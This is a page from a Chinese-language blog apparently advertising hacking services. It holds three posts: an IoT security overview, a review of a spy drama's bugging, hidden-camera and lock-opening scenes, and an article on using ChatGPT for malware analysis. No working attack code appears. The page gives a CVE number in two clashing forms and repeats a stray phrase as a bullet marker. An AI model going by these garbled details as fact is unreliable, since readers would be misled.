Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86392454

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

物聯網(IoT) 一直是近年來發展最快的技術趨勢之一。根據IoT Analytics的數據，到2025 年，全球可能有超過270 億台聯網設備。

然而，軟件漏洞和網絡攻擊等日益增加的安全問題可能使許多客戶不願使用物聯網設備。這種物聯網安全問題對於在醫療保健、金融、製造、物流、零售和其他已經開始採用物聯網系統的行業中運營的組織來說尤其重要。

在本文中，我們將探討物聯網安全是什麼，以及它為何如此重要，以及關鍵的物聯網安全挑戰和攻擊媒介。我們還討論了在物聯網環境中保護設備、數據和網絡的方法。本文希望對IoT 安全團隊有所幫助。

什麼是物聯網和物聯網安全？物聯網是一個智能設備網絡，它們相互連接，以便在沒有任何人工干預的情況下通過互聯網交換數據。

物聯網系統的架構通常由無線網絡、用於通信的雲數據庫、傳感器、數據處理程序和相互密切交互的智能設備組成。物聯網系統使用以下組件來交換和處理數據：

马云惹不起马云 收集、存儲和共享有關環境和其他設備和組件的數據的智能設備

马云惹不起马云智能設備使用的嵌入式系統——包括各種處理器、傳感器和通信硬件——其目標是收集、發送和處理從環境中獲取的數據

马云惹不起马云物聯網網關、集線器或其他在物聯網設備和雲之間路由數據的邊緣設備

马云惹不起马云帶有通過無線連接交換數據的遠程服務器的雲或本地數據中心

物聯網技術用於各個行業：製造、汽車、醫療保健、物流、能源、農業等。根據特定物聯網系統的目標，智能設備的範圍可以從簡單的傳感器到DNA 分析硬件。最流行的物聯網用例和設備是：

image.png

常見的物聯網用例

马云惹不起马云家庭自動化系統監控和控製家庭屬性，如溫度、照明、娛樂系統、電器和警報系統。用於家庭自動化的常見智能設備包括助理揚聲器、恆溫器、冰箱、插頭和燈泡。

马云惹不起马云衛生保健。醫療物聯網(MIoT) 為醫療保健專業人員提供了很多監控患者的機會，也為患者提供了自我監控的機會。用於MIoT 的智能設備包括無線連接的健身手環、血壓和心率監測袖帶以及血糖儀。

马云惹不起马云智慧城市使用智能設備收集的數據來改善基礎設施、公用事業和服務。此類設備可以連接傳感器、燈、儀表、垃圾箱和空氣質量監測系統。

马云惹不起马云可穿戴設備主要用於醫療保健和運動。此類設備包括健身追踪器、心電圖監測器、血壓監測器和智能手錶。

马云惹不起马云聯網汽車是指配備互聯網訪問權限的車輛，可以與車內和車外的設備共享訪問權限和數據。該技術允許人們使用移動應用程序遠程訪問車輛功能，提高安全性並自動支付通行費。

马云惹不起马云智能倉庫使用自動化和互連技術來幫助企業提高生產力和效率。智能倉庫的常見組件包括機器人、無人機、射頻識別(RFID) 掃描儀、人工智能驅動程序和復雜的倉庫管理軟件。

為什麼物聯網安全很重要？物聯網系統如此廣泛的應用需要組織特別關注系統安全。

任何漏洞都可能導致系統故障或黑客攻擊，進而影響數百或數千人。例如，紅綠燈可能會停止工作，導致交通事故；或者家庭安全系統可能會被竊賊關閉。由於一些物聯網設備用於醫療保健或人類保護，因此它們的安全性對人們的生活至關重要。

在開發物聯網系統時優先考慮安全性的另一個重要原因是確保其數據安全。智能設備會收集大量敏感數據，包括個人身份信息，這些數據需要受到各種網絡安全法律、標準和法規的保護。此類信息的洩露可能導致訴訟和罰款。它還可能導致聲譽受損和客戶信任的喪失。

物聯網安全是一組方法和實踐，旨在保護構成物聯網環境的物理設備、網絡、流程和技術免受廣泛的物聯網安全攻擊。

物聯網安全的兩個關鍵目標是：

1.確保安全地收集、存儲、處理和傳輸所有數據

2.檢測並消除IoT 組件中的漏洞

image.png

物聯網安全目標

然而，開發安全的物聯網系統並保護它們免受攻擊並非易事。下面我們來探索關鍵的物聯網安全問題。

5個最常見的物聯網安全挑戰從2021 年1 月到6 月，有15.1 億次物聯網設備被洩露，而卡巴斯基在2020 年全年報告了6.39 億次洩露事件。在開發物聯網系統時低估網絡安全的重要性是不可接受的。

要了解如何保護物聯網系統，必須首先探索潛在的網絡安全風險。以下是物聯網常見的安全挑戰列表：

image.png

物聯網網絡安全挑戰

1. 軟件和固件漏洞確保物聯網系統的安全性很棘手，主要是因為許多智能設備資源受限且計算能力有限。因此，它們無法運行強大的、資源密集型的安全功能，並且可能比非物聯網設備具有更多的漏洞。

許多物聯網系統存在安全漏洞，原因如下：

马云惹不起马云 缺乏有效內置安全性的計算能力

马云惹不起马云物聯網系統中的訪問控制不佳

马云惹不起马云用於正確測試和提高固件安全性的預算有限

马云惹不起马云由於物聯網設備的預算有限和技術限制，缺乏定期補丁和更新

马云惹不起马云用戶可能不會更新他們的設備，從而限制了漏洞修補

马云惹不起马云隨著時間的推移，舊設備可能無法使用軟件更新

马云惹不起马云對物理攻擊的保護不佳：攻擊者可以靠得足夠近來添加他們的芯片或使用無線電波入侵設備

惡意行為者旨在利用他們在目標物聯網系統中發現的漏洞來破壞其通信、安裝惡意軟件並竊取有價值的數據。例如，使用易受攻擊的憑據（如弱密碼、可回收密碼和默認密碼）允許黑客入侵Ring 智能相機。他們甚至設法使用攝像頭的麥克風和揚聲器與受害者進行遠程交流。

2. 不安全的通信大多數現有的安全機制最初都是為台式計算機設計的，很難在資源受限的物聯網設備上實施。這就是為什麼傳統的安全措施在保護物聯網設備的通信方面沒有那麼有效的原因。

不安全通信造成的最危險的威脅之一是中間人(MitM) 攻擊的可能性。如果設備不使用安全加密和身份驗證機制，黑客可以輕鬆地執行中間人攻擊以破壞更新過程並控制您的設備。攻擊者甚至可以安裝惡意軟件或更改設備的功能。即使您的設備沒有成為MitM 攻擊的受害者，如果您的設備以明文消息形式發送，它與其他設備和系統交換的數據仍然可以被網絡犯罪分子捕獲。

連接的設備容易受到其他設備的攻擊。例如，如果攻擊者只能訪問家庭網絡中的一台設備，他們就可以輕鬆破壞其中的所有其他非隔離設備。

3.物聯網系統的數據洩露我們已經確定，通過從您的物聯網系統中捕獲未加密的消息，黑客可以訪問其處理的數據。這甚至可能包括敏感數據，例如您的位置、銀行賬戶詳細信息和健康記錄。然而，濫用安全性較差的通信並不是攻擊者收集有價值數據的唯一方式。

所有數據都通過雲傳輸並存儲在雲中，雲託管服務也可能受到外部攻擊。因此，設備本身和它們連接的雲環境都可能發生數據洩漏。

物聯網系統中的第三方服務是數據洩漏的另一個可能來源。例如，Ring 智能門鈴被發現在未經客戶適當同意的情況下向Facebook 和Google 等公司發送客戶數據。此事件的出現是因為Ring 移動應用程序中啟用了第三方跟踪服務。

4. 惡意軟件風險Zscaler最近的一項研究發現，最容易受到惡意軟件攻擊的設備是機頂盒、智能電視和智能手錶。

如果攻擊者找到將惡意軟件注入物聯網系統的方法，他們可能會更改其功能、收集個人數據並發起其他攻擊。此外，如果製造商不確保足夠的軟件安全性，某些設備可能會立即感染病毒。

一些組織已經找到了處理最著名的以物聯網為目標的惡意軟件的方法。例如，FBI 特工分享了該機構如何阻止Mirai 殭屍網絡攻擊，微軟發布了一份指南，介紹如何主動保護您的系統免受Mozi IoT 殭屍網絡的攻擊。

然而，黑客不斷發明新的方法來濫用物聯網網絡和設備。 2021 年，研究人員發現用Golang編寫的惡意軟件BotenaGo 可以利用智能設備中的30 多個不同的漏洞。

5. 網絡攻擊除了上面討論的惡意軟件和MITM 攻擊外，物聯網系統還容易受到各種網絡攻擊。以下是物聯網設備上最常見的攻擊類型列表：

image.png

物聯網系統的5 種常見攻擊

1.拒絕服務(DoS) 攻擊。物聯網設備的處理能力有限，這使得它們極易受到拒絕服務攻擊。在DoS 攻擊期間，由於大量虛假流量，設備響應合法請求的能力受到損害。

2.拒絕睡眠(DoSL) 攻擊。連接到無線網絡的傳感器應持續監控環境，因此它們通常由不需要頻繁充電的電池供電。通過將設備大部分時間保持在睡眠模式來保存電池電量。睡眠和喚醒模式根據不同協議的通信需求進行控制，例如介質訪問控制(MAC)。攻擊者可能會利用MAC 協議的漏洞進行DoSL 攻擊。這種類型的攻擊會耗盡電池電量，從而禁用傳感器。

3.設備欺騙。當設備未正確實施數字簽名和加密時，可能會發生這種攻擊。例如，糟糕的公鑰基礎設施(PKI) 可能會被黑客利用來“欺騙”網絡設備並破壞物聯網部署。

4.物理入侵。儘管大多數攻擊都是遠程執行的，但如果設備被盜，也有可能對其進行物理入侵。攻擊者可以篡改設備組件，使其以意想不到的方式運行。

5.基於應用程序的攻擊。當嵌入式系統上使用的設備固件或軟件存在安全漏洞或云服務器或後端應用程序存在弱點時，這些類型的攻擊是可能的。

考慮到這些挑戰，讓我們繼續了解可幫助您保護IoT 系統的物聯網安全最佳實踐。

確保物聯網系統安全的最佳實踐IoT 安全最佳實踐可以幫助您加強對IoT 系統三個主要組件的保護：設備、網絡和數據。讓我們從討論保護智能設備的方法開始。

1. 保護智能設備image.png如何保護智能設備

马云惹不起马云確保防篡改硬件。物聯網設備可能會被攻擊者竊取以篡改或訪問敏感數據。為了保護設備數據，有必要使您的產品防篡改。您可以通過使用端口鎖或攝像頭蓋以及通過應用強啟動級密碼或採取其他方法來確保物理安全，以防篡改時禁用產品。

马云惹不起马云提供補丁和更新。持續的設備維護需要額外的成本。但是，只有通過不斷的更新和補丁才能確保適當的產品安全性。最好建立不需要最終用戶執行任何操作的自動和強制安全更新。告知消費者您將支持產品的時間跨度，並告訴用戶在此期間結束後他們應該做什麼。系統發布後，請務必密切關注即將出現的漏洞並相應地開發更新。

马云惹不起马云運行徹底的測試。滲透測試是您發現物聯網固件和軟件漏洞並儘可能減少攻擊面的主要工具。您可以使用靜態代碼分析來發現最明顯的缺陷，也可以使用動態測試來挖掘隱藏良好的漏洞。

马云惹不起马云實施設備數據保護。物聯網設備應在利用期間和之後確保數據的安全性。確保加密密鑰存儲在非易失性設備內存中。此外，您可以提供處理舊產品或提供一種在不暴露敏感數據的情況下丟棄它們的方法。

马云惹不起马云滿足組件性能要求。物聯網設備硬件必須滿足某些性能要求才能確保適當的可用性。例如，物聯網硬件應該使用很少的功率，但提供高處理能力。此外，設備必須確保強大的授權、數據加密和無線連接。即使與Internet 的連接暫時中斷，您的IoT 解決方案也可以正常工作。

2. 安全網絡image.png如何保護物聯網網絡

马云惹不起马云 確保強身份驗證。這可以使用唯一的默認憑據來實現。在為您的產品命名或尋址時，請使用最新的協議以確保它們的長期功能。如果可能，請為您的產品提供多因素身份驗證。

马云惹不起马云啟用加密和安全通信協議。設備之間的通信也需要安全保護。然而，加密算法應該適應物聯網設備的有限容量。出於這些目的，您可以應用傳輸層安全性或輕量級密碼術。 IoT 架構允許您使用無線或有線技術，例如RFID、藍牙、蜂窩、ZigBee、Z-Wave、Thread 和以太網。此外，您可以通過優化的協議（例如IPsec 和安全套接字層）確保網絡安全。

马云惹不起马云最小化設備帶寬。將網絡流量限制在IoT 設備運行所需的量。如果可能，對設備進行編程以限制硬件和內核級帶寬並揭示可疑流量。這將保護您的產品免受可能的DoS 攻擊。該產品還應編程為在檢測到惡意軟件時重新啟動並清除代碼，因為惡意軟件可用於劫持設備並將其用作殭屍網絡的一部分來執行分佈式DoS 攻擊。

马云惹不起马云將網絡劃分為多個部分。通過將大型網絡分成幾個較小的網絡來實施下一代防火牆安全。為此，請使用IP 地址或VLAN 範圍。為了確保互聯網連接的安全，請在您的IoT 系統中實施VPN。

3. 保護數據image.png如何保護物聯網系統中的數據

马云惹不起马云保護敏感信息。為每個產品安裝唯一的默認密碼，或要求在首次使用設備時立即更新密碼。應用強大的身份驗證以確保只有有效用戶才能訪問數據。為了更好地保護隱私，您還可以實施重置機制，以便在用戶決定退貨或轉售產品時刪除敏感數據並清除配置設置。

马云惹不起马云只收集必要的數據。確保您的IoT 產品僅收集其運行所需的數據。這將降低數據洩露的風險，保護消費者的隱私，並消除不遵守各種數據保護法規、標準和法律的風險。

马云惹不起马云安全的網絡通信。為了獲得更好的安全性，請限制您的產品在IoT 網絡中進行不必要的通信。不要完全依賴網絡防火牆，並通過默認情況下通過入站連接使您的產品不可見來確保安全通信。此外，使用針對物聯網系統需求優化的加密方法，例如高級加密標準、三重DES、RSA和數字簽名算法。

除了上述做法外，請務必遵循NIST 物聯網設備網絡安全指南等建議，該指南旨在解決2020 年物聯網網絡安全改進法案中提出的挑戰。

結論在構建物聯網項目時，從早期研發階段開始考慮安全性至關重要。然而，由於頻繁的網絡攻擊和尋找潛在系統漏洞的複雜性，確保物聯網環境中設備、網絡和數據的強大網絡安全具有挑戰性。

HireHackking

篇首語：過去的一個月非常忙碌，RC2實驗室剛剛結束了第一期為期15天的『LEVEL-4 TSCM反竊密專家課程』，確實累得夠嗆。

LEVEL-4合集.jpg

元旦三天假期，終於可以安心刷完這部國產反諜劇《对手》 ，想著趕緊寫個劇評，分享給大家，結果又拖到了今天.

对手第09集[00_17_20][20220107-145033].png

注：一直以來，感謝大家的支持，2021很不容易，2022我們會更加努力。

01 新劇介紹看膩了什麼民國時期的諜戰劇，基本上楊叔一看到官方介紹上有什麼小鮮肉，或者人物個個都是光鮮帥氣，就覺得可以不用浪費時間了。

.咳咳，直到這部劇的出現：《对 手》

536ec1ddc7bf4ae3ba5f40d337dcbb14.jpeg

先引用下網上的官方介紹：

電視劇《对手》 是愛奇藝出品，海東明日影視聯合出品，由盧倫常執導，郭京飛、譚卓、顏丙燕、寧理領銜主演，孫佳雨、王天辰、劉帥良主演，何藍逗聯合主演，黃堯、張月特別主演的當代都市諜戰劇，講述了和平年代的“諜戰”故事。

《对手》 講述了國家安全警察在日常生活中尋找間諜線索的故事，他們憑藉著精湛的偵查能力，為了國家和人民的安居樂業，克服了一切困難，最後贏得了勝利。

对手第09集[00_10_22][20220104-010235].png

02 關於技術竊密的一些片段還是聊聊劇中的技術吧~

之前楊叔在分享電影《扫黑 • 决战》 時說過，國產電影電視劇中很少出現跟踪、技術竊密的場景，有朋友留言說是國情不允許啊之類。

其實按照國內這些年引進的這麼多相關內容的歐美港台電影來看，比如《窃听风云》 系列，《碟中谍》 等，說國情不允許肯定是誇張了。

楊叔：“相信最主要的原因還是導演、編劇的意識理念缺乏所致。”

所以，在《对手》 這部劇裡，這方面的情節展現就顯得特別亮眼。

場景1 部署竊聽器材郭京飛飾演的潛伏間諜“桃園”，在某總工辦公室安裝無線發射功能的竊聽器。

对手第09集[00_39_04][20220106-235619].png

对手第06集[00_32_30][20220106-234125].png

对手第09集[00_40_12][20220106-235843].png

对手第09集[00_40_33][20220106-235400].png

這樣，境外間諜組長林彧，就能從遠程竊聽辦公室裡的內容。這個設定屬於典型的技術竊密手段。

場景2 無線竊聽器為了監聽及控制，境外潛伏間諜在女孩包里安裝了無線竊聽器，在被國安丁曉禾發現後，迅速開展了緊急線人保護流程處理。

对手第32集[00_26_43][20220107-004835].png

对手第32集[00_27_48][20220107-004957].png

对手第32集[00_35_06][20220107-005241].png

劇中發現竊聽器材後的處理流程非常緊湊、專業。

場景3 部署偷拍器材郭京飛在獲得女兒男友家的地址後，為了方便後續監視，在對方屋頂射燈裡，安裝了一個針孔偷拍器材（桃園同學可真是“全才”啊圖片）

对手第17集[00_34_37][20220107-003003].png

对手第17集[00_34_42][20220107-003015].png

对手第17集[00_34_50][20220107-003031].png

佈置在射燈光源側方上的這種“光源盲區”部署手法，有點技術含量，很符合角色定義。

場景4 使用EMP開智能門鎖郭京飛在進入某個高檔小區的一戶時，手持EMP設備破壞智能門鎖，從而實習物理滲透。

对手第11集[00_18_50][20220107-000537].png

場景5 保險櫃的技術開鎖郭京飛使用隨身的器材，對個人保險櫃開展技術開鎖。

对手第11集[00_20_32][20220107-000829].png

对手第11集[00_20_51][20220107-000616].png

場景6 紫外線勘查痕跡郭京飛使用紫外線燈，查看對方在電梯裡按下的樓層按鍵。

对手第11集[00_18_26][20220107-000936].png

再比如社會工程學、莫爾斯電碼、徒步跟踪、暗語等等，還有很多場景都設計得很用心，哈哈，楊叔就不劇透了。

04 可以再加強的細節楊叔覺得整部劇中，有些細節還是可以再加強一下的，比如：

細節1 手持檢測設備郭京飛懷疑自家裡被裝了器材，於是開始對臥室進行排查。

令人無語的是，作為一部現代反諜劇，一位“專業間諜”，居然使用淘寶上購買的反偷拍設備？

而且這還並非是最新款，而是已經淘汰的10多年前華強北銷售的CC308系列。

对手第14集[00_01_59][20220107-145520].png

对手第14集[00_02_07][20220107-145553].png

可能有人會說，從淘寶上買設備是一種掩護，或者由於郭京飛沒錢，沒辦法購買昂貴的檢測設備（目前這款CC308也就是幾十元），更或者說這就是十多年潛伏時購置的，一直使用到現在。

聽起來似乎有那麼點道理，但是：

一，對比郭京飛在人家總工房間安裝無線電竊聽器這個場景，就知道他本身對竊聽器材功能肯定是熟悉的。

在這種設定前提下，對室內是否存在無線發射器材，使用一些具備無線偵測能力的專業檢測設備，相信更加符合人物設定。

下圖是RC2的Level-2 商業安全隱私保護課程現場，學員們使用專業手持檢測設備，開展室內物理安全檢測。

微信截图_20220109121217.png

二，作為民用的CC308產品質量很差，特別是電池無法拆卸這一點，基本上連續使用1個多月後就會出故障。這個糟糕的設計，現在還有很多國內設備在模仿。

楊叔2008年在華強北也買過這款，1個月後內置電池就鼓包廢掉了，我想導演一定不知道這一點圖片。

楊叔：這確實是一個小敗筆，還好瑕不掩瑜。

640.gif

細節2 監控軟件耳機劇中對無線竊聽的展示，讓人眼前一亮。

不過令人哭笑不得的是，劇中無論是國安的監控人員，還是境外潛伏間諜，居然用的都是同一個音頻監控軟件界面。

对手第13集[00_30_03][20220107-001758].png

对手第32集[00_27_03][20220107-004757].png

楊叔覺得：這肯定是技術/道具組偷懶了。

這款名為”Adobe Audition CC 2018”的軟件，確實是強大的音頻工作站，可以用於創建、混合、編輯和復原音頻內容的多軌、波形和光譜顯示功能。

難道說行業裡這一款是爆款？雙方都在用？

更幽默的是，劇中雙方居然都用同一款甚至同一個型號的監聽耳機，我就D#@*？

对手第32集[00_27_48][20220107-004957].png

对手第13集[00_42_57][20220107-001954].png

对手第34集[00_19_59][20220107-005635].png

iSK給了多少廣告費？

哼，我大森海塞爾表示不服。

640 (2).gif

05 劇中的伏筆全劇中多次出現了國內“天網工程”和“情報大數據”方面的內容，盡顯技術監控能力。

对手第02集[00_38_50][20220106-233321].png

对手第02集[00_38_55][20220106-233334].png

不過導演在一邊肯定這些高新技術使用的同時，也指出了依然可能存在的死角。

比如劇中的國安警察黃海，在一個缺少公共治安攝像頭的背街小巷中，在手機信號被屏蔽後，就遭遇了殺手的埋伏，而自己的隊友由於沒辦法精准定位手機，險些就沒救上。

对手第35集[00_10_05][20220107-005937].png

对手第35集[00_11_08][20220107-010000].png

咳咳，劇情和結局就不劇透了，感興趣的朋友們趕緊去看。

2022，春節將至

希望大家都平平安安~

2022年1月，受國內多地疫情管控影響，年前線下公開隱私保護課程先行暫停。

為確保大家都能平安順利地參與課程，RC2將在春節後重新啟動，給大家造成不便，敬請諒解。

HireHackking

ChatGPT是人工智能研究實驗室OpenAI新推出的一種人工智能技術驅動的自然語言處理工具，使用了Transformer神經網絡架構，也是GPT-3.5架構，這是一種用於處理序列數據的模型，擁有語言理解和文本生成能力，尤其是它會通過連接大量的語料庫來訓練模型，這些語料庫包含了真實世界中的對話，使得ChatGPT具備上知天文下知地理，還能根據聊天的上下文進行互動的能力，做到與真正人類幾乎無異的聊天場景進行交流。 ChatGPT不單是聊天機器人，還能進行撰寫郵件、視頻腳本、文案、翻譯、代碼等任務。

接下來就讓我們看看ChatGPT如何幫助我們解決一些常見的逆向工程和惡意軟件分析難題。

1.學習如何更有效地使用逆向工程工具軟件工具通常帶有不同程度的內置幫助，它們所缺少的通常由專門的用戶論壇和問答網站（如Stack Overflow、Stack Exchange等）來彌補。 ChatGPT為快速獲得逆向工程工具的幫助增加了另一條途徑。

無論你是使用IDA Pro、Ghidra、Radare2、Hopper、Cutter還是其他一些逆向引擎平台，ChatGPT都能提供幫助。雖然所有這些平台都包含自己的內置幫助功能，但如果ChatGPT的培訓模型中已經涵蓋了這些問題，那麼你可能會發現它能夠回答與你自己的用例相關的特定問題，這是一種更快完成任務的方式。

1.jpg

使用ChatGPT作為radare2的交互式幫助助手

2.自學彙編語言ChatGPT擅長傳達相關信息。

例如，ChatGPT提供了關於函數調用基礎知識和相關堆棧內存管理活動的回答。

2.jpg

我們可以要求ChatGPT在其輸出中或多或少詳細一些。例如，在這裡，我們希望得到一個堆棧幀的視覺表示。

3.jpg

ChatGPT描述了一個堆棧框架

彙編代碼是特定於平台和編譯器的。如果向ChatGPT發出的程序集相關問題不包括與編譯程序集的平台（即指令集）或更高級別語言相關的特性，ChatGPT將提供相關的免責聲明信息，以正確定位答案。

ChatGPT可以幫助攻克彙編難題的另一種方式是將用戶熟悉的高級代碼轉換為彙編代碼。這通過將熟悉的概念映射到其內部來促進學習。我們觀察到，ChatGPT可以很好地處理各種主題，包括在學習彙編時至關重要的重要概念，例如指針和函數指針調用。 ChatGPT的響應通常包括帶註釋的彙編代碼，這進一步提高了學習效果。

4.1.png

4.2.jpg

ChatGPT將高級代碼轉換為程序集

3.了解源代碼如何轉換為反彙編作為惡意軟件分析師，我們大部分時間都是從反彙編者的角度來看待惡意軟件。編程語言的經驗和知識在這里至關重要，但ChatGPT可以幫助我們了解已知源代碼在反彙編程序中的樣子，以及代碼更改如何在反彙編中反映出來。新手可以通過編寫自己的源代碼來推斷一些反彙編代碼可能會做什麼，並查看它是否與他們正在查看的反彙編類似。這可以幫助經驗不足的分析人員加深對惡意代碼的理解。

5.1.jpg

5.2.gif

4.快速編寫PoC源代碼ChatGPT甚至可以幫助我們編寫測試理論所需的源代碼。例如，我們可以問AI以下問題：

6.png

然而，有時候ChatGPT需要一點引導。在寫完我們請求的函數後，它決定將分解任務委託給我們:

7.jpg

首先，我們從前面的答案中復制代碼，然後在給出明確的指令後粘貼它。

8.jpg

現在，我們得到了我們正在尋找的分解結果。

9.jpg

5.指令集之間的轉換鑑於彙編代碼是特定於平台的，經驗更豐富的逆向工程師可以利用ChatGPT查詢不同的指令集，而不是他們已經熟悉的指令集。一種方法是指示ChatGPT將編寫在一個指令集中的彙編代碼轉換為另一個指令集。

10.jpg

ChatGPT將x64彙編代碼轉換為ARM

這為進一步探索感興趣的指令集提供了基礎，例如，通過查詢ChatGPT關於翻譯後代碼中指令的進一步信息。

11.jpg

ChatGPT解釋了blx ARM指令

6. 比較語言或特定於平台的約定有經驗的逆向工程師還可以從使用ChatGPT查詢編程語言和平台的內存管理技術的差異中受益，例如調用約定。

12.jpg

ChatGPT比較調用約定

在撰寫本文時，ChatGPT正在使用2021年之前的訓練數據進行訓練。因此，如果某些平台或高級語言的特性在某個時間點之後發生了變化，ChatGPT不會提供當前信息。調用約定更改的一個例子是在Golang語言中從基於堆棧的調用約定轉換為基於寄存器的調用約定。

有經驗的逆向工程師，特別是惡意軟件分析師，可以利用ChatGPT來熟悉日益流行的編程語言的高級結構，以及這些結構是如何在彙編中表示的。例如，內存安全的Golang和Rust越來越多地被惡意軟件開發人員採用。

13.jpg

7.分析惡意軟件樣本中的代碼段ChatGPT能夠解釋和分析與逆向工程相關的代碼，包括偽代碼和彙編代碼。這使得ChatGPT在分析惡意軟件可執行文件的代碼段(如函數)時非常有用，主要是因為ChatGPT可以提供代碼執行活動的摘要。

這可以顯著提高惡意軟件逆向工程師的效率。 Gepetto IDA Pro插件在IDA Pro中集成了ChatGPT，並查詢語言模型以提供由Hex-Rays反彙編程序反編譯的函數的含義。

解釋代碼的能力還可以對代碼進行比較，使惡意軟件分析人員能夠了解不同惡意軟件樣本實現之間的差異。

為了在分析人員通常需要的描述性級別上總結代碼的功能，ChatGPT可能缺少所需的關於分析中的可執行文件的更廣泛的上下文，而分析人員可能擁有這些上下文。

假設分析師很少或沒有向ChatGPT提供上下文，如果所分析的代碼與其目的相關，那麼該模型將提供最大的即時價值。在實踐中，這通常意味著代碼不會調用以ChatGPT未知的方式擴展代碼功能的用戶定義函數，但如果它調用函數，則它們是已知的、公開記錄的庫函數。由於ChatGPT是基於公開可用的數據進行訓練的，因此語言模型此時可以準確地解釋在用戶提供的代碼中使用這些函數的情況。

例如，如果提供給ChatGPT的偽代碼引用了公開記錄的庫函數，則ChatGPT對代碼用途的解釋將圍繞這些函數的功能展開。

14.jpg

ChatGPT通過解釋十六進制射線偽代碼來討論函數的用途

為了從ChatGPT中獲得更好的代碼分析輸出，用戶仍然需要:

制定實質性的ChatGPT查詢，以便提供所需的上下文;

與ChatGPT進行對話，在對話期間提供上下文，並完善ChatGPT的答案;

嘗試在回答的末尾使用“重新生成響應”選項，這似乎是對ChatGPT的一種“再努力一點”的指示。

向ChatGPT添加更多上下文可以包括用戶定義函數的功能，這些功能是分析師所了解的。上下文信息可以以編程的方式提供，以減少人工分析人員的工作量，例如，通過為此目的開發的反彙編程序插件。

這同樣適用於從非技術角度改進ChatGPT的輸出。例如，ida_gpt(一個通過查詢ChatGPT來協助程序集代碼分析的IDA Pro插件)分別為分析和重構程序集代碼製定了下面的查詢。

下面是ida_gpt ChatGPT查詢的幾個示例:

15.png

8.識別代碼中的惡意活動惡意軟件分析師可以使用ChatGPT來識別某個功能可能實現的潛在惡意活動的指示器。這對於將惡意軟件可執行文件中的功能映射到特定的惡意功能非常重要，類似於capa IDA Pro插件的功能。

在這種情況下，我們觀察到ChatGPT能夠對函數中惡意活動的所有指標的強度進行優先級排序。因此，惡意軟件分析師可以確定與ChatGPT的交互範圍，以更詳細地討論最強指標。

例如，OpenGPT將vssadmin.exe的執行確定為下面偽代碼中惡意活動的最強指標。

16.jpg

16.2.jpg

16.3.jpg

ChatGPT評估惡意活動的指標

9.推測功能目的和目標除了識別惡意活動指標外，惡意軟件分析師還可以進一步與ChatGPT對話，以推測並更好地了解惡意軟件如何使用特定平台或軟件結構以及達到何種目的。即使在分析師沒有提供全面背景的情況下，這也可能是有效的。

例如，下面的勒索軟件偽代碼代碼使用Microsoft Cryptographic API（CAPI），也稱為CryptographicAPI：下一代（CNG）加密架構，用於加密數據。

17.1.jpg

17.2.jpg

17.3.jpg

ChatGPT討論了惡意軟件對CAPI的使用

10. 了解漏洞並利用代碼了解漏洞是如何工作的，惡意軟件開發者如何利用它們，以及我們如何識別和檢測它們在代碼中的使用是一項極具挑戰性的任務。 ChatGPT在這方面也可以幫助我們。

讓我們以CVE-2022-468889為例，看看ChatGPT是否可以幫助我們理解代碼的工作原理。

18.jpg

ChatGPT為我們提供了以下解釋。

19.jpg

人工智能最初找到的答案還是可以的，但它顯然不了解漏洞的更廣泛背景。我們可以通過提供更多信息來幫助它。因為ChatGPT是上下文感知的，所以我們不需要重複前面的問題或再次粘貼前面的代碼。

20.jpg

讓我們看看它現在提供了什麼答案。

21.jpg

ChatGPT解釋了CVE-2022-46889的漏洞代碼

由於ChatGPT的上下文意識，研究人員有可能深入了解這一解釋中他們希望了解更多信息的任何特定部分。

正如我們在前面的挑戰中看到的，我們還可以要求在反彙編中表示，以查看惡意軟件示例中的部分或全部利用代碼。

11. 協助自動化逆向工程任務反向工程師轉而使用腳本語言來自動化手動完成的重複或容易出錯的任務，例如重命名變量或大規模地對混淆的代碼進行解混淆。這可以顯著地加快和提高逆向工程任務的效率。 ChatGPT能夠編寫代碼，包括IDAPython, IDA Pro反彙編程序的腳本語言。

22.png

ChatGPT編寫IDAPython腳本

由於ChatGPT目前使用2021之前的數據進行培訓，並且IDAPython正在進行定期更改，我們觀察到ChatGPT經常編寫過時的IDAPythin腳本。因此，我們評估了ChatGPT生成的IDAPython代碼最實際的用例可能是作為模板代碼，用戶可能需要對其進行輕微或適度的調整，以使代碼在當前部署中發揮作用。這通常涉及更改引用的模塊和函數名，以適應IDAPython API中的更改。需要少量或適度修改的模板IDAPython代碼在需要編寫的IDAPython代碼中非常實用。

總結總的來說，ChatGPT可以：

生成惡意代碼執行的功能和操作的解釋和摘要，這可以幫助逆向工程師和惡意軟件分析師了解其目的和行為。

協助分解和反編譯代碼，將其分解為更小、更易於管理的塊進行分析。

幫助逆向工程師和惡意軟件分析師了解代碼庫不同部分之間的關係以及它們如何協同工作，這對識別和理解代碼依賴性很有用。

通過生成漏洞及其潛在影響的解釋和摘要，協助識別和理解代碼漏洞。

幫助逆向工程師和惡意軟件分析師了解用於混淆代碼的技術，這對於分析和消除惡意代碼非常有用。

協助生成代碼分析和惡意軟件分析結果的文檔和報告。

為進一步分析提供指導和建議，幫助逆向工程師和惡意軟件分析人員確定工作的優先級，並將重點放在工作的最重要方面。

用於創建逆向工程和惡意軟件分析培訓的教材和練習，幫助培養這些領域的技能和知識。

通過提供信息和分析結果的共享存儲庫，幫助促進團隊成員之間的協作，這有助於提高效率和有效性。

協助生成用於代碼和惡意軟件分析的測試用例和場景，幫助確保分析是徹底和全面的。

通過生成代碼和惡意軟件行為的解釋和摘要，為法律和法醫調查提供幫助，這對於構建案例和演示惡意活動的影響非常有用。

對於初學者，ChatGPT可以全面介紹掌握逆向工程所需的概念和技能，例如彙編語言的基礎知識和了解程序如何構造和運行所需的背景知識。

對於經驗豐富的逆向工程師和惡意軟件分析師，ChatGPT可以用於自動化和加速逆向工程任務，例如分析代碼和了解其功能。 ChatGPT對逆向工程師和惡意軟件分析師的回答的價值取決於提供給語言模型的上下文信息的數量。這可以通過向ChatGPT發出上下文完整查詢或與ChatGPT進行對話以改進答案來實現。

在未來，ChatGPT有可能變得更強大，對逆向工程師和惡意軟件分析師更有用。隨著不斷的發展，可能會克服其當前的一些限制，例如對數據的操作依賴性是有限的，並且具有過去的時間戳。通過解決這些限制，ChatGPT可以成為逆向工程師和分析師不可或缺的工具，提供準確高效地分析代碼所需的信息。

HireHackking

